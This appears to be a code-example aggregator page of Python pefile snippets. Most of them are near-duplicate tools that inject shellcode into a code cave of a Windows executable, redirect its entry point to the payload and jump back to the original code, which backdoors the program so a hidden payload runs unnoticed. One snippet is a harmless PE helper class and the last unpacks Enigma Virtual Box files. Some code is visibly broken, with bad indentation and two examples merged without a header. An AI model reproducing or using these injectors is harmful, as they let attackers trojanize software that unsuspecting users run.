Esempio n. 1
0
def main(exe_file, shellcode):
    if not (os.path.isfile(exe_file)):
        print(
            "\nExecutable file cant detected ! \n Please try with full path.\n"
        )
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize
                 ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(shellcode) + 7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format(covecavelenght(pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
            scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode,
                                          pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off +
                   len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()

        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print("\nNew file : {0} saved !").format(final_pe_file)
        print('[*] Job Done! :)')
Esempio n. 2
0
        def inject():
            class NotEnoughSize(Exception):
                pass

            exe_file = res.BINARY
            final_pe_file = '{}_injected'.format(res.BINARY)
            shellcode = scode
            pe = PE(exe_file)
            OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
            pe_sections = pe.get_section_by_rva(
                pe.OPTIONAL_HEADER.AddressOfEntryPoint)
            align = pe.OPTIONAL_HEADER.SectionAlignment
            what_left = (pe_sections.VirtualAddress +
                         pe_sections.Misc_VirtualSize
                         ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
            end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
            padd = align - (end_rva % align)
            e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
            scode_size = len(shellcode) + 7
            if padd < scode_size:
                summary.append(
                    logs.err('Not enough size for shellcode injection',
                             prnt=False))
            else:
                #logs.good('Found {} bytes of empty space'.format(padd))
                scode_end_off = e_offset
                scode_start_off = scode_end_off - scode_size
                pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
                    scode_start_off)
                raw_pe_data = pe.write()
                jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
                pusha = '\x60'
                popa = '\x61'
                shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa,
                                              pack('I', jmp_to & 0xffffffff))
                final_data = list(raw_pe_data)
                final_data[scode_start_off:scode_start_off +
                           len(shellcode)] = shellcode
                final_data = ''.join(final_data)
                raw_pe_data = final_data
                pe.close()
                new_file = open(final_pe_file, 'wb')
                new_file.write(raw_pe_data)
                new_file.close()
                summary.append(
                    logs.good('Succesfully injected shellcode', prnt=False))
Esempio n. 3
0
def injectPE(filename, shellcode, output_file):
	pe = PE(filename)
	original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
	(end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe)

	# check permissions
	print '[*] Permissions for entry point\'s section :', permissions.items()
	if permissions['exec'] == False:
		print '[!] Entry point is not executable! Wtf? Exiting!'
		exit(1)

	# check for enough padding to fit the payload
	print '[*] Found %d bytes of padding' % padding
	sc_size = len(shellcode)+7 # +1 pusha, +1 popa, +5 rel32 jmp

	if padding < sc_size:
		print '[!] Not enough padding to insert shellcode :('
		exit(1)
	else:
		print '  [+] There is enough room for the shellcode!'
		print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(end_offset_aligned))
		print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (end_offset, end_offset_aligned)

	# use the right-most bytes available
	sc_end_offset = end_offset_aligned
	sc_start_offset = sc_end_offset - sc_size
	print '[*] Placing the payload at :'
	print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_start_offset), pe.OPTIONAL_HEADER.ImageBase+pe.get_rva_from_offset(sc_end_offset))
	print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset, sc_end_offset)

	# change the entry point
	changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset))
	raw_data = pe.write()
	jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset)

	# fix the shellcode to save register contents and jmp to original entry after completion
	shellcode = fixShellcode(shellcode, jmp_distance)
	raw_data = insertShellcode(raw_data, sc_start_offset, shellcode)

	# write the new file
	pe.close() # close the 'opened' PE first
	new_file = open(output_file, 'wb')
	new_file.write(raw_data)
	new_file.close()
	print '[*] New file created :)'
def main( exe_file, shellcode):
    if not (os.path.isfile( exe_file)):
        print("\nExecutable file cant detected ! \n Please try with full path.\n")	
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
    scode_size = len(shellcode)+7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format( covecavelenght( pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()


        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print ("\nNew file : {0} saved !").format( final_pe_file)
        print ('[*] Job Done! :)')
Esempio n. 5
0
def injectPE(filename, shellcode, output_file):
    pe = PE(filename)
    original_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    (end_offset, end_offset_aligned, padding, permissions) = getEPDetails(pe)

    # check permissions
    print '[*] Permissions for entry point\'s section :', permissions.items()
    if permissions['exec'] == False:
        print '[!] Entry point is not executable! Wtf? Exiting!'
        exit(1)

    # check for enough padding to fit the payload
    print '[*] Found %d bytes of padding' % padding
    sc_size = len(shellcode) + 7  # +1 pusha, +1 popa, +5 rel32 jmp

    if padding < sc_size:
        print '[!] Not enough padding to insert shellcode :('
        exit(1)
    else:
        print '  [+] There is enough room for the shellcode!'
        print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (
            pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(end_offset),
            pe.OPTIONAL_HEADER.ImageBase +
            pe.get_rva_from_offset(end_offset_aligned))
        print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (
            end_offset, end_offset_aligned)

    # use the right-most bytes available
    sc_end_offset = end_offset_aligned
    sc_start_offset = sc_end_offset - sc_size
    print '[*] Placing the payload at :'
    print '  [+] start_va = 0x%08x, end_va = 0x%08x' % (
        pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_start_offset),
        pe.OPTIONAL_HEADER.ImageBase + pe.get_rva_from_offset(sc_end_offset))
    print '  [+] start_offset = 0x%x, end_offset = 0x%x' % (sc_start_offset,
                                                            sc_end_offset)

    # change the entry point
    changeEntryPoint(pe, pe.get_rva_from_offset(sc_start_offset))
    raw_data = pe.write()
    jmp_distance = original_entry_point - pe.get_rva_from_offset(sc_end_offset)

    # fix the shellcode to save register contents and jmp to original entry after completion
    shellcode = fixShellcode(shellcode, jmp_distance)
    raw_data = insertShellcode(raw_data, sc_start_offset, shellcode)

    # write the new file
    pe.close()  # close the 'opened' PE first
    new_file = open(output_file, 'wb')
    new_file.write(raw_data)
    new_file.close()
    print '[*] New file created :)'
Esempio n. 6
0
class PEFile(ExecutableFormat):
    bitnessMapping = None

    @classmethod
    def initClass(cls) -> None:
        cls.bitnessMapping = {
            pefile.OPTIONAL_HEADER_MAGIC_PE: 32,
            pefile.OPTIONAL_HEADER_MAGIC_PE_PLUS: 64
        }

    def __child_enter__(self) -> None:
        self.lib = PE(data=self.map)
        self.bitness = self.__class__.bitnessMapping[self.lib.PE_TYPE]

    @property
    def imageBase(self) -> int:
        return self.lib.OPTIONAL_HEADER.ImageBase

    def findVA(self, name: str) -> typing.Optional[int]:
        """Gets a symbol addr from PE export table"""
        name = name.encode("ascii")
        for exp in self.lib.DIRECTORY_ENTRY_EXPORT.symbols:
            if exp.name == name:
                return exp.address + self.imageBase

    def raw2Offset(self, raw: int) -> int:
        return self.RVA2Offset(self.raw2RVA(raw))

    def RVA2Offset(self, rva: int) -> int:
        return self.lib.get_offset_from_rva(rva)

    def offset2RVA(self, offset: int) -> int:
        return self.lib.get_rva_from_offset(offset)

    def RVA2Raw(self, RVA: int) -> int:
        return self.imageBase + RVA

    def raw2RVA(self, raw: int) -> int:
        return raw - self.imageBase

    def offset2Raw(self, offset: int) -> int:
        return self.RVA2Raw(self.offset2RVA(offset))
Esempio n. 7
0
    exe_file = raw_input("Enter Path To Exe File ")
    final_pe_file = raw_input("Enter Path To New Exe File: ")
    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(sample_shell_code) + 7
    if padd < scode_size:
        # Enough space is not available for shellcode
        exit()
        # Code can be injected
    scode_end_off = e_offset
    scode_start_off = scode_end_off - scode_size
    pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
    raw_pe_data = pe.write()
    jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
    sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF))
    final_data = list(raw_pe_data)
    final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code
    final_data = "".join(final_data)
    raw_pe_data = final_data
    pe.close()
    new_file = open(final_pe_file, "wb")
    new_file.write(raw_pe_data)
    new_file.close()
    print "New File : " + final_pe_file
Esempio n. 8
0
	exe_file = raw_input('[*] Enter full path of the main executable :')
	final_pe_file = raw_input('[*] Enter full path of the output executable :')
	pe = PE(exe_file)
	OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
	pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
	align = pe.OPTIONAL_HEADER.SectionAlignment
	what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
	end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
	padd = align - (end_rva % align)
	e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
	scode_size = len(sample_shell_code)+7
if padd < scode_size:
# Enough space is not available for shellcode
		exit()
# Code can be injected
	scode_end_off = e_offset
	scode_start_off = scode_end_off - scode_size
	pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
	raw_pe_data = pe.write()
	jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
	sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff))
	final_data = list(raw_pe_data)
	final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code
	final_data = ''.join(final_data)
	raw_pe_data = final_data
	pe.close()
	new_file = open(final_pe_file, 'wb')
	new_file.write(raw_pe_data)
	new_file.close()
print '[*] Job Done! :)'
Esempio n. 9
0
def restore_pe(file,output):
    # PEfile isn't the best for this job, but we'll get it done ;)
    # TODO : Recaluclate SizeOfImage to match the acutal file
    from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS
    print('[-] Loading PE...')
    pe = PE(file,fast_load=True)
    PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS
    pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data
    # Helpers    
    find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections))
    find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY))    
    # Data
    enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:]
    hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76)
    # Restore section with built-in offsets. All these ADDRESSes are VAs
    find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS']
    find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE']
    find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS']
    find_data_directory('RELOC').Size = hdr['RELOC_SIZE']
    print('[-] Rebuilding Exception directory...')
    # Rebuild the exception directory
    exception_dir = find_data_directory('EXCEPTION')    
    exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress)
    exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size]    
    exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION
    exception_end = 0
    for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)):
        block = unpack(exception_struct,exception_data[i:])
        block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS'])
        exception_end = i
        if b'.enigma' in block['section'].Name: 
            break
    exception_data = exception_data[:exception_end]
    # Prepare partial TLS data for searching
    tls_dir = find_data_directory('TLS')    
    tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress)
    tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size])    
    original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase
    original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback)
    if (PE64): 
        tls_data += original_callback       # AddressOfCallBacks
    else:
        tls_data[12:16] = original_callback # AddressOfCallBacks
        tls_data = tls_data[:16]
    # Destory .enigma* sections
    pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:]
    # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway.
    assert pe.sections.pop().Name == b'.enigma2'
    assert pe.sections.pop().Name == b'.enigma1'
    pe.FILE_HEADER.NumberOfSections -= 2    
    # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above
    # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo  
    if (exception_data):
        # Reassign the RVA & sizes    
        print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data))
        # Find where this could be placed at...since EVB clears the original exception directory listings
        # PEs with overlays won't work at all if EVB packed them.
        # We must remove the sections and do NOT append anything new
        offset = 0
        for section in pe.sections:
            offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData)
            if offset_ > 0: 
                # Check for references in the Optional Data Directory
                # The offset should not be referenced otherwise we would overwrite existing data
                for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
                    if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size):                        
                        offset = 0
                        break
                    else:
                        offset = offset_                        
            if offset > 0:
                break
        assert offset > 0,"Cannot place Exceptions Directory!"
        section = pe.get_section_by_rva(pe.get_rva_from_offset(offset))
        print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData))
        pe.__data__[offset:offset+len(exception_data)] = exception_data
        section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data))
        exception_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        exception_dir.Size = len(exception_data)
    else:
        print('[-] Original program does not contain Exception Directory.')
        exception_dir.VirtualAddress = 0
        exception_dir.Size = 0
    offset = pe.__data__.find(tls_data)
    # Append the exception section and assign the pointers
    # Serach for TLS in memory map since it's not removed.
    tls_dir = find_data_directory('TLS')
    if (offset > 0):
        print('[-] TLS Directory found. Offset=0x%x' % offset)
        tls_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        tls_dir.Size = 40 if PE64 else 24
    else:
        print('[-] Original program does not utilize TLS.')
        tls_dir.VirtualAddress = 0
        tls_dir.Size = 0
    # Write to new file
    pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX
    pe_name = os.path.join(output,pe_name).replace('\\','/')    
    new_file_data = pe.write()
    write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE')
    print('[-] Original PE saved:',pe_name)